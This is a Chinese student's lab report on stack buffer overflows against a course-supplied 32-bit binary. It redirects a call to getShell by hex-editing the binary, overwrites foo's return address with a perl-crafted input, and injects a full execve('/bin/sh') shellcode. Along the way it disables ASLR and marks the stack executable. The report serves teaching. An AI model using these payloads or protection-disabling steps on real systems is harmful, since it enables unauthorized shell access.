20252812 2025-2026-2 《网络攻防实践》实践九报告

20252812 2025-2026-2 《网络攻防实践》实践九报告

1.实践内容

1.1 本周学习内容

1.1.1 软件安全

攻击者之所以能轻易地对系统和网络实施攻击,很大程度上是因为安全漏洞在软件中的大规模存在。栈溢出、堆溢出、内核溢出都属于攻击者利用软件漏洞可能造成的结果。安全漏洞在软件的设计、编码、发布等各环节都可能被引入。要避免这些漏洞,软件开发人员要研究漏洞、遵循避免漏洞的经验,且在软件开发生命周期中切实执行安全设计开发的流程。软件安全漏洞是目前最常见、影响范围最大的安全漏洞类型。软件安全漏洞在类型方面分为内存安全违规类、输入验证类、竞争条件类、权限混淆与提升类等。

1.1.2 缓冲区溢出

理想情况下,程序应检查输入的数据长度,在输入超长时提示用户重新输入。程序理应不允许输入超出为缓冲区本身分配的空间容量。但大量程序总是假设数据长度是与所分配的存储空间相匹配的,因而容易产生缓冲区溢出漏洞。根据缓冲区在内存中位置不同,分为栈溢出、堆溢出、内核溢出。栈溢出指栈上的缓冲区变量由于缺乏边界保护,能够被溢出并修改栈上的敏感信息(尤其是返回地址),导致程序执行流程改变。堆溢出指堆上的缓冲区变量由于缺乏边界保护而遭受溢出攻击。内核溢出漏洞存在于内核模块或内核程序中,是指进程内存空间内核态中存储的缓冲区变量被溢出。

1.1.3 防御缓冲区溢出的技术

防御缓冲区溢出攻击的技术有三类:尝试杜绝溢出的防御技术、允许溢出但不让程序改变执行流程的防御技术、无法让攻击代码执行的防御技术。尝试杜绝溢出的防御技术包括在编译器上引入对缓冲区的边界保护检查机制。例如Jones & Kelly能针对gcc进行数组边界检查、LibSafe函数库修改了不安全的C标准库函数,加入了缓冲区边界检查,检测在调用这些库函数时是否发生了缓冲区溢出。允许溢出但不让程序改变执行流程的防御技术的一个经典例子是StackGuard技术,StackGuard技术使得程序能在函数入口处自动地在栈中返回地址前面生成一个金丝雀检测标记,在函数调用结束时,检测该标记是否改变。无法让攻击代码执行的防御技术包括各种操作系统针对堆栈不可执行的一些内核补丁、内建机制,例如Linux平台上的PaX堆栈不可执行内核补丁、Solaris系统的栈不可执行保护。

1.2 实践内容

1.2.1 跳转getShell

GetShell函数是一段恶意代码。在本实践的第一个实践任务中,通过直接修改可执行文件的二进制代码实现让程序在执行时自动跳转到getShell。

1.2.2 漏洞利用

有一个可能发生栈溢出的函数叫foo。我要利用foo这个函数的漏洞,使得程序发生缓冲区溢出,覆盖返回地址,跳转到getShell函数。

1.2.3 自制shellcode

自己制作一段shellcode,通过缓冲区溢出攻击让程序能运行到这段shellcode。

2.实践过程

2.1 实验环境准备

按要求,完成本实验时,要把主机名改为自己的姓名全拼,且修改实验所用程序的文件名。在root权限下,在Kali的终端输入hostnamectl set-hostname xueqiancheng。其中,xueqiancheng是我的姓名的全拼。然后把/etc/hosts的权限设置为任何用户都可读、可写、可执行。
image
编辑/etc/hosts,将127.0.1.1那一行的第二个字段改为xueqiancheng。
image
输入reboot命令让系统重启,重启后,终端的提示符中出现了xueqiancheng,执行hostname命令,输出的主机名是xueqiancheng,说明修改主机名成功。
image
我通过MobaXterm将pwn1上传到了Kali。
image
在Kali上,执行mv pwn1 pwn20252812完成改名。
image

2.2 指令的机器码

我想要获取NOP、JNE、JE、JMP、CMP这五种指令的机器码。这里的机器码的规范学名叫操作码,是二进制机器指令前面表示指令类型的部分。操作码的位数一般为整数个字节。输入objdump -d pwn20252812 | more查看pwn20252812的机器码。可以看出JMP指令有两种操作码:E9、FF25。FF25开头的JMP指令采用直接寻址,而E9开头的JMP指令采用相对寻址。JE的操作码可能是7405,也可能是74,有待进一步分析。
image
下图中,jne对应7501、7513,固定不变的部分是75,所以75是JNE的操作码。JE的整条机器指令是74F6,与先前看到的7405相比,74不变,因此JE的操作码是74。
image
NOP指令无操作数,它的操作码是90。
image
cmp %esi,%edi对应的机器码是39F7,F7应该和ESI、EDI无关,所以是操作码的一部分。这时ESI、EDI作为操作数却没出现在机器指令里,说明寻址方式为隐含寻址。因此CMP指令采用隐含寻址时操作码是39F7。
image
cmp $0x6,%eax对应的操作码是83F806,此时EAX是隐含的操作数,06作为立即数被放在了机器指令里,83F8为操作码。因此CMP指令采用立即数寻址时的操作码是83F8。
image
综上,NOP、JNE、JE、JMP、CMP这五条指令的机器码如下表。

指令类型 操作码
NOP 0x90
JNE 0x75
JE 0x74
JMP 0xE9(相对寻址),0xFF25(直接寻址)
CMP 0x39F7(隐含寻址),0x83F8(立即数寻址)

2.3 反汇编与十六进制编程

为掌握反汇编工具与十六进制编程器,我打算先编写一段C语言代码,据此生成可执行文件,然后借助这个可执行文件掌握反汇编工具与十六进制编程器。首先编写如下图所示的GI20252812.c。
image
用gcc编译GI20252812.c形成可执行文件GI20252812。然后执行objdump -d GI20252812 | more以进行反汇编。objdump是Linux系统自带的反汇编工具,-d命令选项用于让objdump只反汇编可执行部分。| more表示把objdump的反汇编结果通过管道传输给more。
image
仔细查看objdump输出的反汇编内容。可以发现三层组织结构:段(section)、函数(function)、机器指令(instruction)。Disassembly of section ...这句话标志着一个段内的代码的开始。一个段包含若干函数,每个函数用一个地址和被尖括号括起来的函数名作为起始标志,例如0000000000001160 <frame_dummy>中,0000000000001160表示函数起始地址,应该是在可执行文件中的相对地址,而frame_dummy为函数名。函数内部有若干机器指令,每条机器指令被用四个字段解释:地址、机器指令码、命令类型、操作数。例如对1155: 0f 1f 00 nopl (%rax),1155为十六进制相对地址,0f 1f 00为用十六进制表示的机器指令内容,nopl为指令类型,(%rax)为操作数。<_init>表示的应该是初始化函数,

表示的应该是主函数,<_fini>表示的应该是终止函数,终止函数的作用可能包括回收变量、终止进程等。此外,反汇编出的内容还包含time、printf等我在C语言代码中调用的函数。
image
查看反汇编出的东西时,可以通过回车查看被More隐藏的下一行。可以用Shift+PageUp、Shift+PageDown实现翻页。但是不能编辑代码内容。
至此,我已经学会反汇编了。
vim是Linux系统自带的十六进制编程器。不过需要用专门的命令从一般的模式进入十六进制编辑模式。用vim GI20252812打开GI20252812,可以看到除了少数可读字符外,其余都是乱码。
image
在末行模式下输入:%!xxd可以进入十六进制模式,再按i就可以在这种模式下编辑了,把光标放到那一大堆十六进制数里面,就可以编辑那些数值。
image
按下Esc键退出编辑模式,进入末行模式,在末行模式下输入/f020可以对0xF020进行查找。
image
在末行模式下,输入:%!xxd -r将十六进制模式恢复为文本模式。接着再输入:wq保存并退出,就完成了编辑。
至此,我已学会使用十六进制编辑器。

2.4 其他准备工作

在研究缓冲区溢出攻击之前,我先熟悉一下pwn20252812。我先给pwn20252812赋予了777的权限以便我编辑、运行它。运行pwn20252812时,我发现它会等待用户输入,而用户一旦输入一个字符串,它就会回显这个字符串,然后退出。
image
用objdump查看其汇编指令。发现有两个关键函数:main和foo。main应该是主函数,foo是被调用函数。程序先执行main,执行到中途,调用foo函数,然后foo函数被执行完后,程序会回到main继续执行。foo的功能就是回显用户输入的字符串。
image
还有个叫getShell的函数,此函数的功能是返回可用的shell,按照pwn20252812的正常执行流程,程序是不会执行到getShell的。
image
在命令行输入wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb获取execstack_0.0.20131005-1.1_amd64.deb,然后执行指令sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb解压此deb文件,这样就可以执行execstack命令了。于是我执行(execstack -s pwn20252812);(execstack -q pwn20252812),前一条-s指令用于把pwn20252812设置为堆栈可执行,后一条-q指令用于查询pwn20252812是否是堆栈可执行的,程序输出“X pwn20252812”,说明已成功把pwn20252812设置为堆栈可执行。接着我又执行((echo "0" > /proc/sys/kernel/randomize_va_space );(cat /proc/sys/kernel/randomize_va_space);)。前面的echo指令用于把randomize_va_space设置为0,表示关闭地址随机化,使得程序执行时,一些地址相对固定。后一条指令用于查看randomize_va_space中记录的值。终端输出0,表示已成功关闭地址随机化。
image
接下来,我安装名为gdb的软件。
image
安装流程顺利地完成了,接着我执行gdb --version查看版本,输出版本为17.2,说明安装取得成功。
image
至此,实验前的准备工作已被全部完成。

2.5 手动改变程序流程

我将手工修改可执行文件,改变程序执行流程,使之在执行时直接跳转到getShell函数。
我执行objdump -d pwn20252812 | more查看反汇编结果,找到getShell、foo、main三个函数。main中有条机器码是E8D7FFFFFF的指令表示call ,foo的首地址为08048491,D7FFFFFF其实表示FFFFFFD7,这是因为机器代码采用了小端方式,指令中的低位数据被放在低地址。FFFFFFD7表示要跳转到的指令地址与程序计数器当前数值之间的偏移量,转化为十进制数为-41。call 指令的下一条指令的首地址为80484BA。08048491减去80484BA得0x-29,即十进制的-41。这说明call指令的操作数就是要跳转到的指令的首地址相对于当前要执行的下一条指令的首地址的偏移量。getShell的首地址为804847D,804847D减去80484BA得0x-3D,用补码表示并扩展到32位得FFFFFFC3。这说明要让main中的跳转到foo的操作变为跳转到getShell,需要把Call指令的机器码改为E8C3FFFFFF。
image
用vim打开pwn20252812,再用:%!xxd进入十六进制模式编辑,把D7改为C3。
image
按Esc退出编辑,用%!xxd -r将文件恢复为正常模式,输入:wq保存并退出。
运行pwn20252812,成功获得Shell。
image

2.6 利用Bof漏洞触发getShell

利用教师给定程序的foo函数的Bof(缓冲区溢出)漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
首先我把我在2.5部分修改后的pwn20252812删除,用之前备份出的pwn20252812复制出一份,用于2.6这一部分的实践任务。
输入gdb pwn20252812,再输入r运行此程序。我向程序输入0000111122223333444455556666777788889999,每个数字各4个。然后gdb提示段错误,然后我用info r命令查看寄存器内容。我发现确实发生了缓冲区溢出。EBP和EIP的值都变成数字的ASCII码了。EIP用于存储下一条指令的首地址。foo函数返回时,其返回地址会被放到EIP。这里EIP变成了0x38383838,是四个8的ASCII码,说明执行foo函数时8888这四个字符被填充到了返回地址。0000……7777这三十二位被填充到了栈中返回地址前面的区域。按照这个道理,我想利用Shellcode触发getShell的话,要让输入的字符串至少长达36位,前32位为任意内容,第33-36位为getShell的首地址0x0804847D。
image
现在需要解决的问题是我该让字符串的第33-36位是\x08\x04\x84\x7D,还是\x7D\x84\x04\x08?为了探究这个问题,我还是用gdb调试,并用0000111122223333444455556666777740319999进行测试。这个攻击字符串让EIP变成了0x31333034,对应数字字符串1304,与我的输入顺序4、0、3、1相反,因此把getShell的首地址放到攻击字符串中时,也应该取反,即低位在前,高位在后。即采用\x7D\x84\x04\x08。
image
我先执行perl -e 'print "ttttt5ttttsssssssmsssccccccccccc\x7d\x84\x04\x08\x0a"' > 20252812把一个37位字符串输入到名为20252812的文件中,ttt……ccc为返回地址前面的32位填充内容,33-36位的\x7d\x84\x04\x08为getShell的首地址前后取反的结果。末尾添加了\x0a表示换行,通过换行标志字符串输入结束。然后执行(cat 20252812; cat;) | ./pwn20252812,把cat 20252812的输出通过管道发送给正在执行的pwn20252812,也就是让20252812这个文件的内容成为foo函数的输入字符串。执行此命令后,虽然没有出现终端提示符#,但是已经可以随意执行命令了,说明获取到了shell,攻击取得成功。
image

2.7 自制shellcode

在本实践环节中,我将向pwn20252812注入一个自己制作的shellcode并运行这段shellcode。
为确保此环节成功,我又重复做了些准备工作。用execstack -q pwn20252812命令检查是否堆栈可执行,结果是“X”,表明可执行。我执行了((echo "0" > /proc/sys/kernel/randomize_va_space );(cat /proc/sys/kernel/randomize_va_space);)命令,确保randomize_va_space数值为零,即关闭地址随机化。
image
本环节需要三个终端,我将它们分别记作终端1、终端2、终端3。
在终端1执行perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x8\x2\x9\x3\x00"' > LrK_20252812,在LrK_20252812中写入一个字符串,这字符串并不被用于开展攻击,而是被用于攻击前的测试工作。随后执行(cat LrK_20252812; cat;) | ./pwn20252812。终端1中没有显示任何内容,此时pwn20252812已发生缓冲区溢出,且尚未终止运行。
image
我在终端2中输入ps -ef | grep pwn20252812以查找pwn20252812对应的进程序号。-ef表示要输出系统中所有进程的完整列表。grep pwn20252812表示只输出包含pwn20252812这个字符串的行。输出的第一行中./pwn20252812对应的进程是我需要用gdb研究的进程,该进程的进程号为200342。第二行的进程虽然也匹配上了pwn20252812这个字符串,但它的内容是以grep开头的,并不是执行pwn20252812的进程。
image
在终端3中,输入gdb pwn20252812对pwn20252812这个程序开始调试,然后输入attach 200342使得gdb附属到我刚才找到的系统执行pwn20252812的进程。
image
接着,在终端3中输入disassemble foo以反汇编pwn20252812中的foo函数,我发现ret指令的首地址为080484ae,于是我通过break *0x080484ae指令在该处设置断点,使得gdb能在程序执行到foo函数的ret指令时让程序中断。接着我在终端1按下回车,然后在终端3输入c,这个c表示继续运行程序且在指定的断点处中断。接着终端3输出Breakpoint 1,表示gdb成功地让程序在ret指令处中断了。此时输入info r esp查看ESP中存储的数值,终端3输出ESP的值为ffffcfac。表明当前栈顶地址为ffffcfac。我又用x/16x 0xffffcfac指令查看0xffffcfac及更高地址的数据。由于栈是从高地址向低地址延伸的,所以栈顶为0xffffcfac时,0xffffcfa8、0xffffcfa4等地址处的数据不是栈中的数据。0xffffcfbc、0xffffcfcc等处的数据为栈中的数据。断点是ret指令,则此时ret指令还未被执行,0xffffcfac~0xffffcfaf的内容是foo函数的返回地址,可以看出此返回地址已经由于缓冲区溢出而变成0x03090208了,对应我向LrK_20252812输入的字符串中第33-36位的的\x8\x2\x9\x3,只不过顺序上取反了,这说明输入字符串的第33-36位会覆盖返回地址。随后,我输入exit退出gdb调试模式。
image
既然输入字符串的第33-36位会覆盖返回地址,那么输入的前32位会覆盖返回地址前面的函数缓冲区、保留的EBP等其他信息,因此前32位可以任意设置。Shellcode可以被放在第37位及以后,然后把返回地址设置成栈顶指针+4,这样就能让程序从foo函数进入到我写的shellcode中了。由于我已经关闭了地址随机化,下次程序运行到foo函数的ret指令时,ESP的值应该还是0xffffcfac,因此我应该把攻击字符串用于覆盖返回地址的部分设置成0xffffcfac+0x4=0xffffcfb0。
在终端1中,我发现刚才输入的长度超限的字符串被回显出来了,不过此次对pwn20252812的运行已经没有意义了,我用Ctrl+C终止了此次运行。
image
在终端2中,输入ps -ef | grep pwn20252812查找涉及pwn20252812的进程,发现只有一个grep进程,说明刚才运行的pwn20252812进程已被关闭。
image
我在终端1输入perl -e 'print "K"x32 . "\xb0\xcf\xff\xff" . "\x90"x6 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > Dj_20252812将攻击字符串写入了Dj_20252812。攻击字符串从前往后依次由32个字母K、shellcode的首地址、6个NOP指令、shellcode本身、一个换行符组成。32个K用于覆盖栈中foo函数的返回地址前面的内容。在地址非随机条件下,shellcode的首地址应该是0xffffcfb0,采用低字节在前的方式,写作\xb0\xcf\xff\xff。6个NOP指令没有什么用,也不影响shellcode的执行。后面从\x31到\x80为shellcode,此shellcode用于执行/bin/sh,把shell提供出来。最后的换行符标志着输入字符串的结束。
image
随后用(cat Dj_20252812;cat;) | ./pwn20252812将Dj_20252812的内容通过管道传送到pwn20252812。成功获得了shell,我在其中执行了ps -al、whereis gcc等指令。本实践环节取得了成功。
image

3.学习中遇到的问题及解决

  • 问题1:无论使用apt-get install gdb或apt install gdb都无法安装gdb。安装失败的原因是获取不到一些资源。
  • 问题1解决方案:我先开始以为失败原因是网络信号不太好,于是把虚拟机的网络连接从NAT模式改为了桥接模式。但是安装gdb时还是会报出相同错误,我意识到这似乎和网络没有关系。通过线鲨抓包,我发现Kali与54.39.128.230:80成功通过三次握手连接上了,安装的过程中要向54.39.128.230:80请求一些资源,而54.39.128.230:80返回404,于是安装失败了。我翻看其他同学的实验报告,他们都没有反馈这个问题,但是有个同学提到了要执行一下apt update。我执行了这条命令,然后再执行apt install gdb,就能成功安装上了。我猜想在对apt进行升级之前,Kali会去A处找资源,但A处的资源可能已经被删除或者转移了。对apt进行升级之后,Kali知道要去B处找资源,资源确实在B处,于是它能成功获取到资源。
  • 问题2:我自己手动计算的CALL指令操作数与其他同学的不同。我发现CALL 对应的原本的操作数是FFFFFFD7,这是一个用补码表示的负数,表示要跳转到的指令相对于当前的地址偏移量。我发现CALL 这条指令本身的起始地址为80484B5,而getShell的起始地址为804847D。804847D减去80484B5得0x-38,转化为补码为FFFFFFE8。我发现和其他同学得出的FFFFFFE3不同,我认为我算错了。
  • 问题2解决方案:我在草稿纸上重新算了一次,发现还是FFFFFFE8。我又用Windows自带的计算器的程序员模式算了一遍,发现结果就是FFFFFFE8。我急了,但是又一时想不到办法。我重新仔细看了反汇编代码,发现CALL 的下一条指令的首地址是80484BA,804847D减去80484BA得0x-3D,转化为补码为FFFFFFE3,这样就对了。我会想起本科时学过CPU上有个程序计数器,里面的地址并不是当前指令的地址,而是下一条指令的地址。把这个理论放到这里,就是要让PC从CALL 的下一条指令跳转到getShell的首地址。

4.实践总结

准备工作对于本次实验很重要。我花了几个小时在本实验的准备工作上。准备工作为我的实验报告的2.1-2.4部分。准备工作涉及重命名主机与文件、学习指令的机器码、掌握十六进制编辑与反汇编、下载gdb等。如果没有按照教师的要求把主机名改为xueqiancheng,那么后面截的图都白截了,因为主机名不是我姓名全拼则不被教师认可。如果不提前熟悉一下objdump、vim的十六进制模式,我就会在做实践的第一、第二环节时更费力。有句俗话叫“不打无准备之仗”,这对于网络攻防实验也成立。在实验之初做好各种准备,实验就能进行得更顺畅。
通过反汇编,我发现程序远比我想象得更复杂。由一个只有13行的C语言代码编译出的机器指令长达一百行以上。而且二进制程序内的函数包括C语言代码中没有的函数,例如frame_dummy、_do_global_dtors_aux。虽然我不能从名称看出这些函数的功能,但是我认为它们的存在对于我的程序一定是有必要的。汇编代码中还🈶很多我在本科时的汇编语言程序设计课上没有学过的汇编指令,例如movb、nopl、nopw、hlt。我认为x86汇编指令是在不断进化的,我在本科时学的那些汇编指令集合是从前的x86架构的汇编指令集合。对于开展缓冲区溢出攻击,读懂一些汇编语言、了解ESP和EBP等寄存器的作用还是比较有必要的。

5.参考资料

posted @ 2026-05-27 12:02  三六三的病人  阅读(17)  评论(0)    收藏  举报